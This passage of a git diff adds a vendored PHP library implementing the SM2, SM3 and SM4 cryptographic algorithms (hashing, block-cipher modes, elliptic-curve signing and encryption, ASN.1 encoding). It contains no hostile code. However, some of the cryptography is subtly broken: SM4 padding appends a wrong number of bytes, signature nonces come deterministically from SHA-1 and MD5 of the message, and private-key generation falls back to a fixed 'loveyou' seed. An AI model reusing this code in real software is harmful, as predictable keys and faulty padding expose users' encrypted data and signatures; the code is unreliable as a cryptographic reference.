+ + public function ProcessBlock() + { + $ww = $this->X; + $ww_ = array(); + + for ($i = 16; $i < 68; $i++) + { + $ww[$i] = $this->P1( $ww[ $i - 16] ^ $ww[$i - 9] ^ ($this->ROTATE($ww[$i - 3], 15))) ^ ($this->ROTATE($ww[$i - 13], 7)) ^ $ww[$i - 6]; + } + + for ($i = 0; $i < 64; $i++) + { + $ww_[$i] = $ww[$i] ^ $ww[$i + 4]; + } + + $vv = $this->v; + $vv_ = $this->v_; + + $this->arraycopy($vv, 0, $vv_, 0, sizeof($vv)); + + // int SS1, SS2, TT1, TT2, aaa; + for ($i = 0; $i < 16; $i++) + { + $aaa = $this->ROTATE($vv_[0], 12); + $SS1 = $this->MyAdd($aaa , $vv_[4]); + $SS1 = $this->MyAdd($SS1, $this->ROTATE($this->T_00_15, $i)); + $SS1 = $this->ROTATE($SS1, 7); + $SS2 = $SS1 ^ $aaa; + + $TT1=$this->FF_00_15($vv_[0], $vv_[1], $vv_[2]); + $TT1=$this->MyAdd($TT1, $vv_[3]); + $TT1=$this->MyAdd($TT1, $SS2); + $TT1=$this->MyAdd($TT1, $ww_[$i]); + + $TT2=$this->GG_00_15($vv_[4], $vv_[5], $vv_[6]); + $TT2=$this->MyAdd($TT2, $vv_[7]); + $TT2=$this->MyAdd($TT2, $SS1); + $TT2=$this->MyAdd($TT2, $ww[$i]); + + $vv_[3] = $vv_[2]; + $vv_[2] = $this->ROTATE($vv_[1], 9); + $vv_[1] = $vv_[0]; + $vv_[0] = $TT1; + $vv_[7] = $vv_[6]; + $vv_[6] = $this->ROTATE($vv_[5], 19); + $vv_[5] = $vv_[4]; + $vv_[4] = $this->P0($TT2); + } + for ($i = 16; $i < 64; $i++) + { + + $aaa = $this->ROTATE($vv_[0], 12); + $SS1 = $this->MyAdd($aaa , $vv_[4]); + $z= $this->ROTATE($this->T_16_63, $i); + $SS1 = $this->MyAdd( $SS1, $this->ROTATE($this->T_16_63, $i)); + $SS1 = $this->ROTATE($SS1, 7); + $SS2 = $SS1 ^ $aaa; + + $TT1 = $this->MyAdd($this->FF_16_63($vv_[0], $vv_[1], $vv_[2]) , $vv_[3]); + $TT1 = $this->MyAdd( $TT1, $SS2); + $TT1 = $this->MyAdd( $TT1, $ww_[$i]); + + $TT2 = $this->MyAdd($this->GG_16_63($vv_[4], $vv_[5], $vv_[6]) , $vv_[7]); + $TT2 = $this->MyAdd( $TT2, $SS1); + $TT2 = $this->MyAdd($TT2 , $ww[$i]); + $vv_[3] = $vv_[2]; + $vv_[2] = $this->ROTATE($vv_[1], 9); + $vv_[1] = $vv_[0]; + $vv_[0] = $TT1; + $vv_[7] = $vv_[6]; + $vv_[6] = $this->ROTATE($vv_[5], 19); + $vv_[5] = $vv_[4]; + $vv_[4] = $this->P0($TT2); + } + for ($i = 0; $i < 8; $i++) + { + $vv[$i] ^= $vv_[$i]; + } + $this->v=$vv; + $this->v_=$vv_; + + // Reset + $this->xOff = 0; + $this->arraycopy(SM3Digest::$X0, 0, $this->X, 0, sizeof(SM3Digest::$X0)); + } + + public function ProcessWord($in_Renamed, $inOff) + { + + $n = $this->LeftRotateLong($in_Renamed[$inOff] , 24); + $n |= $this->LeftRotateLong(($in_Renamed[++$inOff] & 0xff) , 16); + $n |= $this->LeftRotateLong(($in_Renamed[++$inOff] & 0xff) , 8); + $n |= ($in_Renamed[++$inOff] & 0xff); + + $this->X[$this->xOff] = $n; + + if (++$this->xOff == 16) + { + $this->ProcessBlock(); + } + } + + + public function ProcessLength($bitLength) + { + if ($this->xOff > 14) + { + $this->ProcessBlock(); + } + + $this->X[14] = ($this->RightRotateLong($bitLength, 32)); + $this->X[15] = ($bitLength & 0xffffffff); + } + + public function IntToBigEndian($n, &$bs, $off) + { + $bs[$off] = ($this->RightRotateLong($n, 24)) & 0xff; + $bs[++$off] = ($this->RightRotateLong($n, 16)) & 0xff; + $bs[++$off] = ($this->RightRotateLong($n, 8)) & 0xff; + $bs[++$off] = ($n) & 0xff ; + } + + public function DoFinal(&$out_Renamed, $outOff):int + { + $this->Finish(); + + for ($i = 0; $i < 8; $i++) + { + $this->IntToBigEndian($this->v[$i], $out_Renamed, $outOff + $i * 4); + } + + $this->Reset(); + + return $this::DIGEST_LENGTH; + } + + private function HandleSign($lValue) + { + $lValue = $lValue & 0xFFFFFFFF; + if($lValue>=0x80000000) + { + $lValue=$lValue-(0xffffffff+1); + } + return $lValue; + } + + private function MyAdd($A,$B) + { + $lValue=$this->HandleSign($A) + $this->HandleSign($B); + + + return $this->HandleSign($lValue); + } + + public function LeftRotateLong($lValue, $lBits ) + { + $lBits = $lBits % 32; + $lValue=$lValue<< $lBits; + $lValue=$lValue & 0xffffffff; + if($lValue>=0x80000000) + { + $lValue=$lValue-(0xffffffff+1); + } + return $lValue; + /* $lngSign=0; $intI=0; + $mValue=0; + + $lBits = $lBits % 32; + $mValue = $lValue; + if($lBits == 0) return $mValue; + + For ($intI = 1 ;$intI<= $lBits;$intI++) + { + $lngSign = $mValue & 0x40000000; + $mValue = ($mValue & 0x3FFFFFFF) * 2; + + if($lngSign & 0x40000000) + $mValue = $mValue | 0x80000000; + } + + return $mValue;*/ + } + + + private function RightRotateLong($lValue , $lBits) + { + $lngSign=0;$intI=0; + $mValue =0; + + $mValue = $lValue; + // $lBits = $lBits % 32; + + if( $lBits == 0 ) + { + return $mValue ; + } + + if ($lValue >= 0) + { + if($lBits<0) $lBits= 32+ $lBits; + $r = $lValue >> $lBits; + } + else + { + $t=~$lBits; + if($t<0) $t= 32+ $t; + // $t = $t % 32; + $r= ($lValue >> $lBits) + (2 << $t); + } + return $r; + + /* For ($intI = 1 ;$intI<= $lBits;$intI++) + { + $lngSign = $mValue & 0x80000000; + $mValue = ($mValue & 0x7FFFFFFF) / 2; + if ($lngSign) + $mValue = $mValue | 0x40000000; + } + return $mValue;*/ + + + + + } + + private function FFj($X, $Y, $Z, $j) :int + { + if($j>=0 && $j<=15) { + return $this->FF_00_15($X, $Y, $Z); + } else { + return $this->FF_16_63($X, $Y, $Z); + } + } + private function GGj($X, $Y, $Z, $j) :int + { + if($j>=0 && $j<=15) { + return $this->GG_00_15($X, $Y, $Z); + } else { + return $this->GG_16_63($X, $Y, $Z); + } + } + + private function ROTATE($X, $n):int + { + // $r=($this->RightRotateLong($X, (32 - $n))); + //$r1=$this->LeftRotateLong($X , $n); + // $r2=($X << $n); + return $this->LeftRotateLong($X , $n) | ($this->RightRotateLong($X, (32 - $n))); + } + + private function P0($X):int + { + $a=$this->ROTATE(($X), 9); + $b= $this->ROTATE(($X), 17); + return (($X) ^ $this->ROTATE(($X), 9) ^ $this->ROTATE(($X), 17)); + } + + private function P1($X):int + { + return (($X) ^ $this->ROTATE(($X), 15) ^ $this->ROTATE(($X), 23)); + } + + private static function FF_00_15($X, $Y, $Z):int + { + return ($X ^ $Y ^ $Z); + } + + private static function FF_16_63($X, $Y, $Z):int + { + return (($X & $Y) | ($X & $Z) | ($Y & $Z)); + } + + private static function GG_00_15($X, $Y, $Z):int + { + return ($X ^ $Y ^ $Z); + } + + private static function GG_16_63($X, $Y, $Z):int + { + return (($X & $Y) | (~ $X & $Z)); + } +} \ No newline at end of file diff --git a/includes/vendor/lpilp/guomi/src/smecc/SM4/Sm4.php b/includes/vendor/lpilp/guomi/src/smecc/SM4/Sm4.php new file mode 100644 index 0000000..579bc49 --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/smecc/SM4/Sm4.php @@ -0,0 +1,349 @@ +ck16($key); + $this->crk($key); + } + + private function dd(&$data) + { + $n = strlen($data) % $this->len; + $data = $data . str_repeat($this->b, $n); + } + + private function ck16($str) + { + if (strlen($str) !== $this->len) { + throw new \Exception('秘钥长度为16位'); + } + } + + private function add($v) + { + $arr = unpack('N*', $v); + $max = 0xffffffff; + $j = 1; + for ($i = 4; $i > 0; $i--) { + if ($arr[$i] > $max - $j) { + $j = 1; + $arr[$i] = 0; + } else { + $arr[$i] += $j; + break; + } + } + return pack('N*', ...$arr); + } + + /** + * @param string $str 加密字符串 + * @param string $iv 初始化字符串16位 + * @return string + * @throws \Exception + */ + public function deDataCtr($str, $iv) + { + return $this->enDataCtr($str, $iv); + } + + /** + * @param string $str 加密字符串 + * @param string $iv 初始化字符串16位 + * @return string + * @throws \Exception + */ + public function enDataCtr($str, $iv) + { + $this->ck16($iv); + $r = ''; + $this->dd($str); + $l = strlen($str) / $this->len; + for ($i = 0; $i < $l; $i++) { + $s = substr($str, $i * $this->len, $this->len); + $tr = []; + $this->encode(array_values(unpack('N*', $iv)), $tr); + $s1 = pack('N*', ...$tr); + $s1 = $s1 ^ $s; + $iv = $this->add($iv); + $r .= $s1; + } + return $r; + } + + + /** + * @param string $str 加密字符串 + * @param string $iv 初始化字符串16位 + * @return string + * @throws \Exception + */ + public function enDataOfb($str, $iv) + { + $this->ck16($iv); + $r = ''; + $this->dd($str); + $l = strlen($str) / $this->len; + for ($i = 0; $i < $l; $i++) { + $s = substr($str, $i * $this->len, $this->len); + $tr = []; + $this->encode(array_values(unpack('N*', $iv)), $tr); + $iv = pack('N*', ...$tr); + $s1 = $s ^ $iv; + $r .= $s1; + } + return $r; + } + + /** + * @param string $str 加密字符串 + * @param string $iv 初始化字符串16位 + * @return string + * @throws \Exception + */ + public function deDataOfb($str, $iv) + { + return $this->enDataOfb($str, $iv); + } + + /** + * @param string $str 加密字符串 + * @param string $iv 初始化字符串16位 + * @return string + * @throws \Exception + */ + public function deDataCfb($str, $iv) + { + $this->ck16($iv); + $r = ''; + $this->dd($str); + $l = strlen($str) / $this->len; + for ($i = 0; $i < $l; $i++) { + $s = substr($str, $i * $this->len, $this->len); + $tr = []; + $this->encode(array_values(unpack('N*', $iv)), $tr); + $s1 = pack('N*', ...$tr); + $s1 = $s ^ $s1; + $iv = $s; + $r .= $s1; + } + return $r; + } + + /** + * @param string $str 加密字符串 + * @param string $iv 初始化字符串16位 + * @return string + * @throws \Exception + */ + public function enDataCfb($str, $iv) + { + $this->ck16($iv); + $r = ''; + $this->dd($str); + $l = strlen($str) / $this->len; + for ($i = 0; $i < $l; $i++) { + $s = substr($str, $i * $this->len, $this->len); + $tr = []; + $this->encode(array_values(unpack('N*', $iv)), $tr); + $s1 = pack('N*', ...$tr); + $iv = $s ^ $s1; + $r .= $iv; + } + return $r; + } + + + /** + * @param string $str 加密字符串 + * @param string $iv 初始化字符串16位 + * @return string + * @throws \Exception + */ + public function enDataCbc($str, $iv) + { + $this->ck16($iv); + $r = ''; + $this->dd($str); + $l = strlen($str) / $this->len; + for ($i = 0; $i < $l; $i++) { + $s = substr($str, $i * $this->len, $this->len); + $s = $iv ^ $s; + $tr = []; + $this->encode(array_values(unpack('N*', $s)), $tr); + $iv = pack('N*', ...$tr); + $r .= $iv; + } + return $r; + } + + /** + * @param string $str 加密字符串 + * @param string $iv 初始化字符串16位 + * @return string + * @throws \Exception + */ + public function deDataCbc($str, $iv) + { + $this->ck16($iv); + $r = ''; + $this->dd($str); + $l = strlen($str) / $this->len; + for ($i = 0; $i < $l; $i++) { + $s = substr($str, $i * $this->len, $this->len); + $tr = []; + $this->decode(array_values(unpack('N*', $s)), $tr); + $s1 = pack('N*', ...$tr); + $s1 = $iv ^ $s1; + $iv = $s; + $r .= $s1; + } + return $r; + } + + + /** + * @param string $str 加密字符串 + * @return string + */ + public function enDataEcb($str) + { + $r = []; + $this->dd($str); + $ar = unpack('N*', $str); + do { + $this->encode([current($ar), next($ar), next($ar), next($ar)], $r); + } while (next($ar)); + return pack('N*', ...$r); + } + + /** + * @param string $str 解密字符串 + * @return string + */ + public function deDataEcb($str) + { + $r = []; + $this->dd($str); + $ar = unpack('N*', $str); + do { + $this->decode([current($ar), next($ar), next($ar), next($ar)], $r); + } while (next($ar)); + return pack('N*', ...$r); + } + + private function encode($ar, &$r) + { + for ($i = 0; $i < 32; $i++) { + $ar[$i + 4] = $this->f($ar[$i], $ar[$i + 1], $ar[$i + 2], $ar[$i + 3], $this->rk[$i]); + } + $r[] = $ar[35]; + $r[] = $ar[34]; + $r[] = $ar[33]; + $r[] = $ar[32]; + } + + private function decode($ar, &$r) + { + for ($i = 0; $i < 32; $i++) { + $ar[$i + 4] = $this->f($ar[$i], $ar[$i + 1], $ar[$i + 2], $ar[$i + 3], $this->rk[31 - $i]); + } + $r[] = $ar[35]; + $r[] = $ar[34]; + $r[] = $ar[33]; + $r[] = $ar[32]; + } + + private function crk($key) + { + $keys = array_values(unpack('N*', $key)); + $keys = [ + $keys[0] ^ $this->fk[0], + $keys[1] ^ $this->fk[1], + $keys[2] ^ $this->fk[2], + $keys[3] ^ $this->fk[3] + ]; + for ($i = 0; $i < 32; $i++) { + $this->rk[] = $keys[] = $keys[$i] ^ $this->t1($keys[$i + 1] ^ $keys[$i + 2] ^ $keys[$i + 3] ^ $this->ck[$i]); + } + } + + private function lm($a, $n) + { + return ($a >> (32 - $n) | (($a << $n) & 0xffffffff)); + } + + private function f($x0, $x1, $x2, $x3, $r) + { + return $x0 ^ $this->t($x1 ^ $x2 ^ $x3 ^ $r); + } + + private function s($n) + { + return $this->Sbox[($n & 0xff)] | $this->Sbox[(($n >> 8) & 0xff)] << 8 | $this->Sbox[(($n >> 16) & 0xff)] << 16 | $this->Sbox[(($n >> 24) & 0xff)] << 24; + } + + private function t($n) + { + $b = $this->s($n); + return $b ^ $this->lm($b, 2) ^ $this->lm($b, 10) ^ $this->lm($b, 18) ^ $this->lm($b, 24); + } + + private function t1($n) + { + $b = $this->s($n); + return $b ^ $this->lm($b, 13) ^ $this->lm($b, 23); + } + + +} \ No newline at end of file diff --git a/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/SimpleSm2.php b/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/SimpleSm2.php new file mode 100644 index 0000000..8c8357f --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/SimpleSm2.php @@ -0,0 +1,473 @@ +sm3 = new Sm3(); + $eccParams = Sm2Ecc::get_params(); + $this->p = $eccParams['p']; + $this->a = $eccParams['a']; + $this->b = $eccParams['b']; + $this->n = $eccParams['n']; + // 计算基点G + $this->gx = $eccParams['gx']; + $this->gy = $eccParams['gy']; + } + + public function general_pair() + { + $pointG = new Sm2Point($this->gx, $this->gy); + $prikeyGmp = $this->rand_prikey(); + $publicKey = $this->get_pkey_from_prikey($prikeyGmp, $pointG); + $prikey = $this->decHex($prikeyGmp, 64); + return array( + $prikey, $publicKey + ); + } + + /** + * 通过私钥算公钥 Pub = pG + * + * @param GMP $prikey + * @return string + */ + public function get_pkey_from_prikey($prikeyGmp, $pointG = null) + { + if (empty($pointG)) { + $pointG = new Sm2Point($this->gx, $this->gy); + } + $kG = $pointG->mul($prikeyGmp, false); + $x1 = $this->decHex($kG->getX(), 64); + $y1 = $this->decHex($kG->getY(), 64); + $publicKey = '04' . $x1 . $y1; + return $publicKey; + } + // 生成标准的 base64 的 asn1(r,s)签名 + public function sign($document, $prikey, $publicKey = null, $userId = null){ + list($r,$s) = $this->sign_raw($document, $prikey, $publicKey, $userId); + return Sm2Asn1::rs_2_asn1($r,$s); + } + /** + * + * + * @param string $document + * @param string $prikey + * @param string $publicKey //这个值虽然可以从prikey中计算出来,但直接给出来,不用每次计算,性能会好一点点 + * @param string $userId + * @return array + */ + public function sign_raw($document, $prikey, $publicKey = null, $userId = null) + { + $gmpPrikey = gmp_init($prikey, 16); + // 如果知道公钥直接填上是好的,减少运算,虽说从私钥可以算出公钥,这不浪费资源不是 + if (empty($publicKey)) { + $publicKey = $this->get_pkey_from_prikey($gmpPrikey); + } + + $hash = $this->get_sm2withsm3_hash($document, $publicKey, $userId); + $gmpHash = gmp_init($hash, 16); + + $count = 0; + while (true) { + $count++; + if ($count > 5) { + //5次都有问题,肯定有问题了 + throw new \RuntimeException('Error: sign R or S = 0'); + } + //中间椭圆的私钥 + // $k = gmp_init('21fbd478026e2d668e3570e514de0d312e443d1e294c1ca785dfbfb5f74de225',16); + $k = $this->_get_forign_prikey($document); + // var_dump(gmp_strval($k,16),'21fbd478026e2d668e3570e514de0d312e443d1e294c1ca785dfbfb5f74de225'); + $gmpP1x = $this->_get_forign_pubkey_x($k); + $r = gmp_mod(gmp_add($gmpHash, $gmpP1x), $this->n); + $zero = gmp_init(0, 10); + if (gmp_cmp($r, $zero) === 0) { + continue; //报错重来一次 + } + + $one = gmp_init(1, 10); + $s1 = gmp_invert(gmp_add($one, $gmpPrikey), $this->n); + $s2 = gmp_sub($k, gmp_mul($r, $gmpPrikey)); + $s = gmp_mod(gmp_mul($s1, $s2), $this->n); + + if (gmp_cmp($s, $zero) === 0) { + continue; + // throw new \RuntimeException('Error: random number S = 0'); + } + return array(gmp_strval($r, 16), gmp_strval($s, 16)); + } + } + // 标准的asn1 base64签名验签 + public function verify($document, $publicKey, $sign, $userId = null){ + list($hexR,$hexS) = Sm2Asn1::asn1_2_rs($sign); + return $this->verifty_sign_raw($document, $publicKey, $hexR, $hexS, $userId); + + } + /** + * Undocumented function + * + * @param string $document bin + * @param string $publicKey hex + * @param string $r hex + * @param string $s hex + * @param string $userId + * @return bool + */ + public function verifty_sign_raw($document, $publicKey, $hexR, $hexS, $userId = null) + { + $plen = strlen($publicKey); + if ($plen == 130 && substr($publicKey, 0, 2) == '04') { + $pubX = substr($publicKey, 2, 64); + $pubY = substr($publicKey, -64); + } else if ($plen == 128) { + $pubX = substr($publicKey, 0, 64); + $pubY = substr($publicKey, -64); + } else { + throw new Exception("bad publickey $publicKey"); + } + // 1.2.3.4 sm3 取msg,userid的 hash值, + $hash = gmp_init($this->get_sm2withsm3_hash($document, $publicKey, $userId), 16); + + $r = gmp_init($hexR, 16); + $s = gmp_init($hexS, 16); + $n = $this->n; + + $one = gmp_init(1, 10); + if (gmp_cmp($r, $one) < 0 || gmp_cmp($r, gmp_sub($n, $one)) > 0) { + return false; + } + + if (gmp_cmp($s, $one) < 0 || gmp_cmp($s, gmp_sub($n, $one)) > 0) { + return false; + } + + // 第五步 计算t=(r'+s')mod n + $t = gmp_mod(gmp_add($r, $s), $n); + // // 第六步 计算(x1,y1) = [s]G + [t]P + $pointG = new Sm2Point($this->gx, $this->gy); //生成基准点 + $p1 = $pointG->mul($s, false); // p1 = sG + $pointPub = new Sm2Point(gmp_init($pubX, 16), gmp_init($pubY, 16)); //生成公钥的基准点 + $p2 = $pointPub->mul($t, false); // p2 = tP + $xy = $p1->add($p2); + // // 第七步 vR=(hash' + x1') + $v = gmp_mod(gmp_add($hash, $xy->getX()), $n); + + // 最后结果 比较 $v和$r是否一致 + // var_dump(gmp_strval($v,16),$hexR); + return gmp_strval($v, 16) == $hexR; + } + + + public function encrypt_raw($publicKey, $data) + { + list($pubX, $pubY) = $this->_get_pub_xy($publicKey); + $point = new Sm2Point($pubX,$pubY); + $t = ''; + $count = 0; + while (!$t) { + $count++; + if($count>5){ + throw new Exception('bad kdf '); // 这处一般是生成的$k问题,5次都有问题,这运气差的可以买双色球了 + } + + if($this->fixForeignKey) { //使用固定的第中间椭圆 + list($x1,$y1) = $this->_get_pub_xy($this->foreignKey[1],false); + $k = gmp_init($this->foreignKey[0],16); + + $x1 = $this->format_hex($x1,64);// 不足前面补0 + $y1 = $this->format_hex($y1,64);// 不足前面补0 + } else { + $k = $this->_get_forign_prikey($data.'_'.$count); + //dump($k); + //$k = gmp_init('104953050056413721046883757640585885959005820148174417356964987920496726278110',10); + $kG = $point->mul($k); + $x1 = $this->decHex($kG->getX(), 64); + $y1 = $this->decHex($kG->getY(), 64); + } + $c1 = $x1 . $y1; + $kPb = $point->mul($k, false); + $x2 = gmp_strval($kPb->getX(), 16); + $y2 = gmp_strval($kPb->getY(), 16); + $x2 = pack('H*', str_pad($x2, 64, 0, STR_PAD_LEFT)); + $y2 = pack('H*', str_pad($y2, 64, 0, STR_PAD_LEFT)); + $t = $this->kdf($x2 . $y2, strlen($data)); + } + $c2 = gmp_xor(gmp_init($t, 16), $this->str2gmp($data)); + $c2 = $this->decHex($c2, strlen($data) * 2); + $c3 = $this->hash_sm3($x2 . $data . $y2); + return array($c1, $c3, $c2); + } + + + /** + * sm2非对称解密 + * + * @param string $prikey 私钥明文 hex + * @param string $c1 hex + * @param string $c3 hex + * @param string $c2 hex + * @return string decode($c2) 解密结果 + */ + public function decrypt_raw($prikey, $c1,$c3,$c2) + { + list($x1, $y1) = $this->_get_pub_xy($c1); + $point = new Sm2Point($x1,$y1); + $dbC1 = $point->mul(gmp_init($prikey,16), false); + $x2 = gmp_strval($dbC1->getX(), 16); + $y2 = gmp_strval($dbC1->getY(), 16); + $x2 = pack('H*', str_pad($x2, 64, 0, STR_PAD_LEFT)); + $y2 = pack('H*', str_pad($y2, 64, 0, STR_PAD_LEFT)); + $len = strlen($c2); + $t = $this->kdf($x2 . $y2, $len / 2); // 转成16进制后 字符长度要除以2 + $m1 = gmp_strval(gmp_xor(gmp_init($t, 16), gmp_init($c2, 16)), 16); + $m1 = pack("H*", $m1); + $u = $this->hash_sm3($x2 . $m1 . $y2); + + if (strtoupper($u) != strtoupper($c3)) { + throw new \Exception("error decrypt data"); + } + + return $m1; + } + protected function kdf($z, $klen) + { + $res = ''; + $ct = 1; + $j = ceil($klen / 32); + for ($i = 0; $i < $j; $i++) { + $ctStr = str_pad(chr($ct), 4, chr(0), STR_PAD_LEFT); + $hex = $this->hash_sm3($z . $ctStr); + if ($i + 1 == $j && $klen % 32 != 0) { // 最后一个 且 $klen/$v 不是整数 + $res .= substr($hex, 0, ($klen % 32) * 2); // 16进制比byte长度少一半 要乘2 + } else { + $res .= $hex; + } + $ct++; + } + + return $res; + } + /** + * Undocumented function + * + * @param string $message + * @param boolean $raw + * @return string + */ + public function hash_sm3($message, $raw = false) + { + // return $this->sm3->digest($message, $raw); + // 有些版本的PHP直接支持sm3 + return openssl_digest($message,'sm3',$raw); + } + /** + * hex 用0补齐一定的位置 + * + * @param string $hex + * @param integer $count + * @return string + */ + public function format_hex($hex, $count = 64) + { + return str_pad($hex, $count, "0", STR_PAD_LEFT); + } + /** + * 采用gmp自带的函数随机生成私钥,gmp_random_bits需要5.6.3才有 + * 也可其他随机函数生成 + * + * @param integer $numBits + * @return \GMP + */ + public function rand_prikey($numBits = 256) + { + if (!function_exists('gmp_random_bits')) { + return $this->_get_forign_prikey('loveyou'); + } + $value = gmp_random_bits($numBits); + $mask = gmp_sub(gmp_pow(2, $numBits), 1); + $integer = gmp_and($value, $mask); + + return $integer; + } + /** + * gmp 转 hex,并用0补齐位数 + * + * @param GMP|int $dec + * @param integer $len + * @return string + */ + public function decHex($dec, $len = 0) + { + if (!$dec instanceof \GMP) { + $dec = gmp_init($dec, 10); + } + if (gmp_cmp($dec, 0) < 0) { + throw new \Exception('Unable to convert negative integer to string'); + } + + $hex = gmp_strval($dec, 16); + + if (strlen($hex) % 2 != 0) { + $hex = '0' . $hex; + } + if ($len && strlen($hex) < $len) { // point x y 要补齐 64 位 + $hex = str_pad($hex, $len, "0", STR_PAD_LEFT); + } + + return $hex; + } + + + + /** + * Undocumented function + * + * @param string $document + * @param string $publicKey + * @param string $userId + * @return string + */ + public function get_sm2withsm3_hash($document, $publicKey, $userId) + { + // 置M’=ZA∥M;ZA= Hv(ENTLA||IDA||a||b||Gx||Gy||Ax||Ay); IDA==>userId + // ENTLA为IDA的比特长度,2字节;IDA用户标识默认值见上节;a,b,Gx,Gy见曲线参数;Ax,Ay为公钥坐标 + $len = strlen($publicKey); + if ($len == 130) { + $publicKey = substr($publicKey, 2); + } else if ($len == 128) { + //OK + } else { + throw new \Exception('bad pulickey'); + } + $px = gmp_init(substr($publicKey, 0, 64), 16); + $py = gmp_init(substr($publicKey, 64, 64), 16); + $zStr = $this->_get_entla($userId); + $zStr .= $userId; + $zStr .= hex2bin(gmp_strval($this->a, 16)); + $zStr .= hex2bin(gmp_strval($this->b, 16)); + $zStr .= hex2bin(gmp_strval($this->gx, 16)); + $zStr .= hex2bin(gmp_strval($this->gy, 16)); + $zStr .= hex2bin(gmp_strval($px, 16)); + $zStr .= hex2bin(gmp_strval($py, 16)); + $hashStr = $this->hash_sm3($zStr); + $hash = $this->hash_sm3(hex2bin($hashStr) . $document); + return $hash; + } + /** + * 生成随机私钥 + * + * @param string $document + * @return \GMP + */ + protected function _get_forign_prikey($document = '') + { + // 要支持php5的话,没有什么好函数了,如果是php7或以上或以使用 + // $s = random_bytes(64) 或 this->rand_prikey(int bits=256) 代替 + if ($this->randSign || $this->randEnc) { // 从document ==>k 变化 + $s = substr(openssl_digest('S1' . $document . microtime(), 'sha1'), 1, 32) . md5($document . microtime() . 'S2'); + } else { + $s = substr(openssl_digest('S1' . $document, 'sha1'), 1, 32) . md5($document . 'S2'); + } + + $s = strtolower($s); + if (substr($s, 0, 1) == 'f') { //私钥不要太大了,超过 n值就不好了, + $s = 'e' . substr($s, 1); + } + return gmp_init($s, 16); + } + protected function _get_forign_pubkey_x($k) + { + $pointG = new Sm2Point($this->gx, $this->gy); + $kG = $pointG->mul($k, false); + return $kG->getX(); + } + protected function _get_entla($userId) + { + $len = strlen($userId) * 8; + $l1 = $len >> 8 & 0x00ff; + $l2 = $len & 0x00ff; + return chr($l1) . chr($l2); + } + protected function _gmp_to_bin($gmp) + { + return hex2bin(gmp_strval($gmp, 16)); + } + + public function set_private_key($privateKey) + { + $this->privateKey = $privateKey; + } + public function set_public_key($publicKey) + { + $this->publicKey = $publicKey; + } + + public function set_userid($userId) + { + if (empty($userId) || strlen($userId) != 16) { + throw new Exception(" userid 格式不对"); + } + $this->userId = $userId; + } + public function set_rand_sign_flag($flag = false) + { + $this->randSign = $flag; + } + public function set_rand_enc_flag($flag = false) + { + $this->randEnc = $flag; + } + + public function set_fix_foreignkey_flag($flag = true){ + $this->fixForeignKey = $flag; + } + public function str2gmp($string) + { + $hex = unpack('H*', $string); + + return gmp_init($hex[1], 16); + } + + protected function _get_pub_xy($publicKey,$rtGmp = true){ + $plen = strlen($publicKey); + if ($plen == 130 && substr($publicKey, 0, 2) == '04') { + $pubX = substr($publicKey, 2, 64); + $pubY = substr($publicKey, -64); + } else if ($plen == 128) { + $pubX = substr($publicKey, 0, 64); + $pubY = substr($publicKey, -64); + } else { + throw new Exception("bad publickey $publicKey"); + } + if($rtGmp){ + return array(gmp_init($pubX,16),gmp_init($pubY,16)); + } + // var_dump($publicKey,$pubX, $pubY,'=============='); + return array($pubX, $pubY); + } +} diff --git a/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/Sm2Asn1.php b/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/Sm2Asn1.php new file mode 100644 index 0000000..b33ba65 --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/Sm2Asn1.php @@ -0,0 +1,232 @@ + + */ + public static function decode($data, $level = 0) + { + $result = array(); + $pos = 0; + while (abs($pos) < strlen($data)) { + $octets = 0; + $length = 0; + $tag = ord($data[$pos]); + $pos++; + if ($tag == 0) { + $result[] = '00'; + continue; + } + $temp = ord($data[$pos]); + // echo "temp = $temp\n"; + if ($temp == 128) { + $length = 0; + } else if ($temp > 128) { + $octets = $temp & 127; + $length = 0; + // echo $octets."====\n"; + for ($i = 0; $i < $octets; $i++) { + $pos++; + $length <<= 8; + $length |= ord($data[$pos]); + } + } else { + $length = $temp; + } + $content = substr($data, ++$pos, $length); + $pos += $length; + $res = self::_do_decode($content, $tag, $level); + $result[] = $res; + } + return $result; + } + protected static function _do_decode($content, $tag, $level) + { + $level++; + if ($level > MAXLEVEL) { + return bin2hex($content); + } + switch ($tag) { + case self::TYPE_BOOLEAN: + return (bool)ord($content[0]); + case self::TYPE_INTEGER: + return bin2hex($content); + case self::TYPE_OCTET_STRING: + return bin2hex($content); + case self::TYPE_BIT_STRING: + $padByte = bin2hex($content[0]); + $contentText = bin2hex(substr($content, 1)); + return array($padByte, $contentText); + case self::TYPE_SEQUENCE: + case self::TYPE_BIG_SEQUENCE: + case self::TYPE_BIG_SET: + return self::decode($content, $level); + case self::TYPE_UTF8_STRING: + return $content; + case self::TYPE_BMP_STRING: + return extension_loaded("iconv") ? iconv('UCS-2BE', 'UTF-8', $content) : $content; + case self::TYPE_UNIVERSAL_STRING: + return extension_loaded("iconv") ? iconv('UCS-4BE', 'UTF-8', $content) : $content; + case self::TYPE_NULL: + return null; + default: // 其他复杂的不处理了,如有复杂需要,请使用其他的 asn1库处理 + return bin2hex($content); + } + } + /** + * + * @param string hex bigint $r + * @param string hex bigint $s + * @return string base64 一般约定签名用bas64, 加解密用hex + */ + public static function rs_2_asn1($r, $s, $outFormat = 'base64') + { + $binR = self::_format_int_pad(hex2bin($r)); + $binS = self::_format_int_pad(hex2bin($s)); + $lenR = strlen($binR); + $lenS = strlen($binS); + $result = chr(48) . chr(2 + $lenR + 2 + $lenS) . chr(2) . chr($lenR) . $binR . chr(2) . chr($lenS) . $binS; + if ($outFormat == 'base64') { + return base64_encode($result); + } else { + return bin2hex($result); + } + } + public static function asn1_2_rs($asn1Str,$inFormat='base64'){ + + if($inFormat=='base64'){ + $bin = base64_decode($asn1Str); + } else { + $bin = hex2bin($asn1Str); + } + $data = self::decode($bin); + $r = gmp_strval(gmp_init($data[0][0],16),16); + $s = gmp_strval(gmp_init($data[0][1],16),16); + return array($r, $s); + } + /** + * + * + * @param string hex bigint $c1x + * @param string hex bigint $c1y + * @param string hex bin $c3 + * @param string hex bin $c2 + * @return string hex 一般约定签名用bas64, 加解密用hex + */ + public static function asn1_cccc($c1x, $c1y, $c3, $c2, $outFormat = 'hex') + { + $binc1x = self::_format_int_pad($c1x); // c1为椭圆点,得是bigint + $binc1y = self::_format_int_pad($c1y); + $binc3 = hex2bin($c3); + 